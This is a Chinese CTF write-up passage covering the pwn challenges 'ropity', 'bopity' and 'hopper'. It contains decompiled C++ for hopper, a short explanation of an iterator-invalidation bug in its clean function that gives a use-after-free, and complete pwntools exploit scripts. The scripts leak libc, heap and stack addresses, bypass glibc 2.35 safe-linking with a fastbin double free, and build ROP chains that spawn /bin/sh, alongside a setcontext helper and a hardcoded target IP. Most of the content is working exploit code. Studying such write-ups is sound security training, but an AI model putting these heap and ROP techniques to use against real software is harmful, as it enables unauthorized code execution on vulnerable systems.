puts_plt = elf.plt['puts']
get_persona = elf.address + 0x1e8b

payload = cyclic(0x167) + p64(puts_plt) + p64(elf_base + 0x0000000000022E6)
ext(b'b' * 0x8, len(payload) + 1, payload)

ru(b'ved!')
ru("dnaadoaa")
rl()
libc_base = unpack(r(6) + b'\x00' * 2) - 0x62050
success(f'LIBC BASE --> {hex(libc_base)}')

pop_rdi_ret = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = libc_base + 0x00000000000baaf9

payload = cyclic(0x167) + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
ext(b'b' * 0x8,len(payload) + 1,payload)


p.interactive()

bopity

和ropity逻辑一样

hopper

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  int v4; // [rsp+Ch] [rbp-54h] BYREF
  char v5[32]; // [rsp+10h] [rbp-50h] BYREF
  char v6[24]; // [rsp+30h] [rbp-30h] BYREF
  unsigned __int64 v7; // [rsp+48h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  std::vector<char *>::vector(v5, argv, envp);
  std::vector<int>::vector(v6);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  v3 = std::operator<<<std::char_traits<char>>(&std::cout, "welcome!");
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      std::istream::operator>>(&std::cin, &v4);
      if ( v4 != 3 )
        break;
      clean(v5, v6);
      show(v5, v6);
    }
    if ( v4 > 3 )
      break;
    if ( v4 == 1 )
    {
      alloc(v5, v6);
    }
    else
    {
      if ( v4 != 2 )
        break;
      clean(v5, v6);
      remove(v5, v6);
    }
  }
  exit(0);
}


unsigned __int64 __fastcall clean(__int64 a1, __int64 a2)
{
  int i; // [rsp+1Ch] [rbp-34h]
  __int64 v4; // [rsp+20h] [rbp-30h] BYREF
  __int64 v5; // [rsp+28h] [rbp-28h] BYREF
  __int64 v6; // [rsp+30h] [rbp-20h] BYREF
  unsigned __int64 v7; // [rsp+38h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  for ( i = 0; i < (unsigned __int64)std::vector<int>::size(a2); ++i )
  {
    if ( *(_DWORD *)std::vector<int>::operator[](a2, i) == -1 )
    {
      v4 = std::vector<int>::begin(a2);
      v5 = __gnu_cxx::__normal_iterator<int *,std::vector<int>>::operator+(&v4, i);
      __gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(&v6, &v5);
      std::vector<int>::erase(a2, v6);
      v4 = std::vector<char *>::begin(a1);
      v5 = __gnu_cxx::__normal_iterator<char **,std::vector<char *>>::operator+(&v4, i);
      __gnu_cxx::__normal_iterator<char * const*,std::vector<char *>>::__normal_iterator<char **>(&v6, &v5);
      std::vector<char *>::erase(a1, v6);
    }
  }
  return v7 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall show(__int64 a1)
{
  unsigned __int64 v1; // rbx
  _QWORD *v3; // rax
  int v5; // [rsp+14h] [rbp-1Ch] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  printf("idx> ");
  std::istream::operator>>(&std::cin, &v5);
  if ( v5 >= 0 )
  {
    v1 = v5;
    if ( v1 < std::vector<char *>::size(a1) )
    {
      std::operator<<<std::char_traits<char>>(&std::cout, "data: ");
      v3 = (_QWORD *)std::vector<char *>::operator[](a1, v5);
      std::operator<<<std::char_traits<char>>(&std::cout, *v3);
    }
  }
  return v6 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall alloc(__int64 a1, __int64 a2)
{
  __int64 v2; // rax
  FILE *v3; // r12
  int v4; // ebx
  __int64 v5; // rax
  char **v6; // rax
  int n; // [rsp+1Ch] [rbp-24h] BYREF
  void *v9; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v10; // [rsp+28h] [rbp-18h]

  v10 = __readfsqword(0x28u);
  std::operator<<<std::char_traits<char>>(&std::cout, "size> ");
  std::istream::operator>>(&std::cin, &n);
  v9 = malloc(n);
  std::vector<char *>::push_back(a1, &v9);
  std::vector<int>::push_back(a2, &n);
  std::operator<<<std::char_traits<char>>(&std::cout, "content> ");
  v2 = std::numeric_limits<long>::max();
  std::istream::ignore((std::istream *)&std::cin, v2, 10);
  v3 = stdin;
  v4 = n;
  v5 = std::vector<char *>::size(a1);
  v6 = (char **)std::vector<char *>::operator[](a1, v5 - 1);
  fgets(*v6, v4, v3);
  return v10 - __readfsqword(0x28u);
}

unsigned __int64 __fastcall remove(__int64 a1, __int64 a2)
{
  unsigned __int64 v2; // rbx
  void **v4; // rax
  __int64 v5; // rax
  int v7; // [rsp+14h] [rbp-1Ch] BYREF
  unsigned __int64 v8; // [rsp+18h] [rbp-18h]

  v8 = __readfsqword(0x28u);
  printf("idx> ");
  std::istream::operator>>(&std::cin, &v7);
  if ( v7 >= 0 )
  {
    v2 = v7;
    if ( v2 < std::vector<char *>::size(a1) )
    {
      v4 = (void **)std::vector<char *>::operator[](a1, v7);
      free(*v4);
      *(_DWORD *)std::vector<int>::operator[](a2, v7) = -1;
      v5 = std::operator<<<std::char_traits<char>>(&std::cout, "memory deleted");
      std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
    }
  }
  return v8 - __readfsqword(0x28u);
}

第一次做stl迭代器安全相关的题

漏洞出在clean函数这边,这里的逻辑其实是 在循环chunklist.earse(chunklist.being() + i) sizelist.earse(list.being() + i) ,如果存在连续的size == -1的堆块,第一次earse的时候 容器的大小发生了变化,所以earse后的i就不是 earse前的 i了。是 i + 1,然后alloc的时候,输入size -1是能正常的push_back到sizelist里面的,所以可以通过这个漏洞去构造出uaf

unsigned __int64 __fastcall clean(__int64 a1, __int64 a2)
{
  int i; // [rsp+1Ch] [rbp-34h]
  __int64 v4; // [rsp+20h] [rbp-30h] BYREF
  __int64 v5; // [rsp+28h] [rbp-28h] BYREF
  __int64 v6; // [rsp+30h] [rbp-20h] BYREF
  unsigned __int64 v7; // [rsp+38h] [rbp-18h]

  v7 = __readfsqword(0x28u);
  for ( i = 0; i < (unsigned __int64)std::vector<int>::size(a2); ++i )
  {
    if ( *(_DWORD *)std::vector<int>::operator[](a2, i) == -1 )
    {
      v4 = std::vector<int>::begin(a2);
      v5 = __gnu_cxx::__normal_iterator<int *,std::vector<int>>::operator+(&v4, i);
      __gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(&v6, &v5);
      std::vector<int>::erase(a2, v6);
      v4 = std::vector<char *>::begin(a1);
      v5 = __gnu_cxx::__normal_iterator<char **,std::vector<char *>>::operator+(&v4, i);
      __gnu_cxx::__normal_iterator<char * const*,std::vector<char *>>::__normal_iterator<char **>(&v6, &v5);
      std::vector<char *>::erase(a1, v6);
    }
  }
  return v7 - __readfsqword(0x28u);
}

首先是glibc 2.35 构造任意地址写的原语需要泄露堆地址去绕开safe link, 泄露堆地址和 libc的地址,通过unsortedbin泄露libc的地址,可以直接申请一个很大的chunk然后free掉,这样就直接进unsortedbin了,不用填满tcache.

因为cout是读到换行就不读了,所以不能通过fastbin double free直接去泄露environ的值,但?直接写vector成员指针的值也可以?覆盖vector[0] 为 environ的地址然后show就能泄露栈地址了,泄露栈地址后再fastbin double free一次写返回地址然后打rop去getshell

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./vuln')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_ucontext(
    src: int,
    rsp=0,
    rbx=0,
    rbp=0,
    r12=0,
    r13=0,
    r14=0,
    r15=0,
    rsi=0,
    rdi=0,
    rcx=0,
    r8=0,
    r9=0,
    rdx=0,
    rip=0xDEADBEEF,
) -> bytearray:
    b = bytearray(0x200)
    b[0xE0:0xE8] = p64(src)  # fldenv ptr
    b[0x1C0:0x1C8] = p64(0x1F80)  # ldmxcsr

    b[0xA0:0xA8] = p64(rsp)
    b[0x80:0x88] = p64(rbx)
    b[0x78:0x80] = p64(rbp)
    b[0x48:0x50] = p64(r12)
    b[0x50:0x58] = p64(r13)
    b[0x58:0x60] = p64(r14)
    b[0x60:0x68] = p64(r15)

    b[0xA8:0xB0] = p64(rip)  # ret ptr
    b[0x70:0x78] = p64(rsi)
    b[0x68:0x70] = p64(rdi)
    b[0x98:0xA0] = p64(rcx)
    b[0x28:0x30] = p64(r8)
    b[0x30:0x38] = p64(r9)
    b[0x88:0x90] = p64(rdx)

    return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
    got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    return got, flat(
        p64(0),
        p64(got + 0x218),
        p64(libc.symbols["setcontext"] + 32),
        p64(plt_trampoline) * 0x40,
        create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
    )
# e.g. dest, payload = setcontext32.setcontext32(
#         libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
#     )

p = connect()


def alloc(sz, content):
  sla(b"> ", b"1")
  sla(b"> ", str(sz).encode())
  if sz > 0:
    sla(b"> ", content)
  else:
    ru(b"> ")

def free(idx):
  sla(b"> ", b"2")
  sla(b"> ", str(idx).encode())

def show(idx):
  sla(b"> ", b"3")
  sla(b"> ", str(idx).encode())

alloc(-1, b"") # 0
alloc(-1, b"") # 1
alloc(0x88, b"fakechunk") # 2
# g(p)
free(1) # free 2
show(0) # show 2

ru(b"data: ")
heap_base = (u64(r(5).ljust(8,b'\x00')) << 12) - (0x5df8b4e9b000 - 0x5df8b4e8a000)
success(hex(heap_base))

show(0) # clean up vector

alloc(-1, b"") # 0
alloc(-1, b"") # 1
alloc(0x1000, b"fakechunk") # 2
alloc(0x100, b"padding") # 3
# g(p)
free(1) # free 2
show(0) # show 0

ru(b"data: ")
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7b6ad2c1ace0 - 0x7b6ad2a00000)
success(hex(libc_base))

free(0)
show(0) # clean up vector

for i in range(7):
  alloc(0x68, b"padding tcache")
for i in range(2**9+2**8):
  alloc(-1, b"")
for i in range(2):
  alloc(0x68, b"fastbin")
for i in range(7):
  free(0)

# double free
free(3)
free(2)
free(0)

for n in range(7):
  alloc(0x68, b"a")


environ = libc_base + 0x222200
vector_target = heap_base + 0x14910
pos = heap_base + 0x12950
payload = (pos >> 12) ^ (vector_target)

alloc(0x68,p64(payload)) # A
alloc(0x68,"BBBBBBBB")
alloc(0x68,p64(payload)) # A
alloc(0x68,p64(environ) + p64(environ)) # coverage vector[0] [1]

show(0)
ru(b"data: ")
stack = u64(r(6).ljust(8,b'\x00'))
success(hex(stack))

for i in range(7):
  alloc(0x78,"padding tcache2")
for i in range(2**9+2**8):
  alloc(-1, b"")
for i in range(2):
  alloc(0x78,"fastbin")
for i in range(7):
  free(11)

# double free
free(14)
free(13)
free(11)

for n in range(7):
  alloc(0x78, b"a")

pos = heap_base + 0x12db0
rbp = stack - (0x7ffd4b8f6098 - 0x7ffd4b8f5f08) - 0x8
success(hex(rbp))
payload = (pos >> 12) ^ (rbp)

alloc(0x78,p64(payload))
alloc(0x78,"BBBBBBBB")
alloc(0x78,p64(payload))

ret = libc_base + 0x00000000000baaf9 # xor rax,rax; ret
pop_rdi_ret = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a' * 0x8 + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)



# g(p)


alloc(0x78,payload)





p.interactive()




⬆︎TOP